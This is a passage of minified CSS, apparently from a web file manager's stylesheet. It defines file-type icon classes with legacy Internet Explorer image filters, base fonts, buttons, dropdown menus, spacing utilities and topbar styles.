\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 